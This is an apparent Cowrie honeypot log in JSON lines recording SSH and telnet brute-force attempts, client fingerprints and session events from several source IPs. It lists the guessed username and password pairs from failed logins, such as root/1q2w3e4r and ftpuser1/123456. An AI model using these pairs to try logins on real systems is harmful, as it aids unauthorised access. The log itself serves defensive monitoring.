{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r,","message":"login attempt [root/1q2w3e4r,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:42.317958Z","src_ip":"118.193.33.81","session":"98169fc0d1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.551543712615967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:42.798350Z","src_ip":"103.49.70.87","session":"bc7cd6f40ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:43.545542Z","src_ip":"118.193.33.81","session":"98169fc0d1e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":43782,"dst_ip":"10.17.0.5","dst_port":23,"session":"2662dd363c5d","protocol":"telnet","message":"New connection: 103.49.70.87:43782 (10.17.0.5:23) [session: 2662dd363c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:46.638875Z"}
{"eventid":"cowrie.session.closed","duration":13.311748027801514,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:46.861262Z","src_ip":"36.24.39.41","session":"31c8a4c6043f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46782,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cd0d13a419e","protocol":"ssh","message":"New connection: 159.203.92.129:46782 (159.203.135.109:22) [session: 8cd0d13a419e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:47.914508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:47.918650Z","src_ip":"159.203.92.129","session":"8cd0d13a419e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:47.922496Z","src_ip":"159.203.92.129","session":"8cd0d13a419e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anthony","password":"anthony123","message":"login attempt [anthony/anthony123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:47.933717Z","src_ip":"159.203.92.129","session":"8cd0d13a419e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:48.938991Z","src_ip":"159.203.92.129","session":"8cd0d13a419e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":43790,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f4c3c67ac9","protocol":"telnet","message":"New connection: 103.49.70.87:43790 (10.17.0.5:23) [session: 59f4c3c67ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:50.537972Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":43402,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0753452f284","protocol":"ssh","message":"New connection: 157.7.113.83:43402 (159.203.135.109:22) [session: b0753452f284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:52.933588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:52.939483Z","src_ip":"157.7.113.83","session":"b0753452f284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:53.099495Z","src_ip":"157.7.113.83","session":"b0753452f284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":60698,"dst_ip":"10.17.0.5","dst_port":23,"session":"48fa0aaf45c5","protocol":"telnet","message":"New connection: 103.49.70.87:60698 (10.17.0.5:23) [session: 48fa0aaf45c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:53.242309Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"esuser","message":"login attempt [es/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:53.753723Z","src_ip":"157.7.113.83","session":"b0753452f284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162169694900513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:54.191357Z","src_ip":"103.49.70.87","session":"a764df9fb020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:54.916497Z","src_ip":"157.7.113.83","session":"b0753452f284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.970271587371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:01.813772Z","src_ip":"103.49.70.87","session":"a23a1bf8df58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":60700,"dst_ip":"10.17.0.5","dst_port":23,"session":"fff7105c52ff","protocol":"telnet","message":"New connection: 103.49.70.87:60700 (10.17.0.5:23) [session: fff7105c52ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:01.872479Z"}
{"eventid":"cowrie.session.closed","duration":31.688639163970947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:03.912767Z","src_ip":"103.49.70.87","session":"7a545996455f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538615226745605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:17.177397Z","src_ip":"103.49.70.87","session":"2662dd363c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41342,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0bcf1e1deb4","protocol":"ssh","message":"New connection: 159.203.92.129:41342 (159.203.135.109:22) [session: e0bcf1e1deb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:30.598909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:30.603887Z","src_ip":"159.203.92.129","session":"e0bcf1e1deb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:30.608580Z","src_ip":"159.203.92.129","session":"e0bcf1e1deb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antivirus","password":"antivirus","message":"login attempt [antivirus/antivirus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:30.620011Z","src_ip":"159.203.92.129","session":"e0bcf1e1deb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:31.626554Z","src_ip":"159.203.92.129","session":"e0bcf1e1deb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":8092,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a8093864e3","protocol":"ssh","message":"New connection: 118.193.33.81:8092 (159.203.135.109:22) [session: 83a8093864e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:34.488215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:34.492770Z","src_ip":"118.193.33.81","session":"83a8093864e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:34.718777Z","src_ip":"118.193.33.81","session":"83a8093864e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.54807424545288,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:35.420452Z","src_ip":"103.49.70.87","session":"fff7105c52ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.92479419708252,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:35.462675Z","src_ip":"103.49.70.87","session":"59f4c3c67ac9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:35.589077Z","src_ip":"118.193.33.81","session":"83a8093864e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.355608224868774,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:35.597649Z","src_ip":"103.49.70.87","session":"48fa0aaf45c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:36.815344Z","src_ip":"118.193.33.81","session":"83a8093864e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":56988,"dst_ip":"10.17.0.5","dst_port":23,"session":"68112fc5269f","protocol":"telnet","message":"New connection: 103.49.70.87:56988 (10.17.0.5:23) [session: 68112fc5269f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:41.711936Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"545a29f75eed","protocol":"telnet","message":"New connection: 103.49.70.87:56998 (10.17.0.5:23) [session: 545a29f75eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:41.980907Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58024,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f214b2ca54c","protocol":"telnet","message":"New connection: 103.49.70.87:58024 (10.17.0.5:23) [session: 9f214b2ca54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:47.948672Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":51486,"dst_ip":"159.203.135.109","dst_port":22,"session":"496e0280e0a6","protocol":"ssh","message":"New connection: 157.7.113.83:51486 (159.203.135.109:22) [session: 496e0280e0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:48.332435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:48.337735Z","src_ip":"157.7.113.83","session":"496e0280e0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:48.494087Z","src_ip":"157.7.113.83","session":"496e0280e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123456789","message":"login attempt [root/Abcd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:49.149676Z","src_ip":"157.7.113.83","session":"496e0280e0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:50.308536Z","src_ip":"157.7.113.83","session":"496e0280e0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":59964,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0850164fd4a","protocol":"telnet","message":"New connection: 103.49.70.87:59964 (10.17.0.5:23) [session: a0850164fd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:56.822357Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":59976,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f1c60e04b6","protocol":"telnet","message":"New connection: 103.49.70.87:59976 (10.17.0.5:23) [session: e8f1c60e04b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:56.964891Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":59982,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c878595822f","protocol":"telnet","message":"New connection: 103.49.70.87:59982 (10.17.0.5:23) [session: 1c878595822f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:40:59.051978Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":53558,"dst_ip":"10.17.0.5","dst_port":23,"session":"801f89d0c584","protocol":"telnet","message":"New connection: 103.49.70.87:53558 (10.17.0.5:23) [session: 801f89d0c584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:05.972679Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":53562,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccabf75b59ea","protocol":"telnet","message":"New connection: 103.49.70.87:53562 (10.17.0.5:23) [session: ccabf75b59ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:06.298657Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":53564,"dst_ip":"10.17.0.5","dst_port":23,"session":"890fedbd5bb6","protocol":"telnet","message":"New connection: 103.49.70.87:53564 (10.17.0.5:23) [session: 890fedbd5bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:07.728363Z"}
{"eventid":"cowrie.session.closed","duration":31.34491229057312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.056707Z","src_ip":"103.49.70.87","session":"68112fc5269f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179808139801025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.160598Z","src_ip":"103.49.70.87","session":"545a29f75eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35672,"dst_ip":"159.203.135.109","dst_port":22,"session":"71d04a59d091","protocol":"ssh","message":"New connection: 159.203.92.129:35672 (159.203.135.109:22) [session: 71d04a59d091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.293194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.297124Z","src_ip":"159.203.92.129","session":"71d04a59d091","protocol":"ssh"}
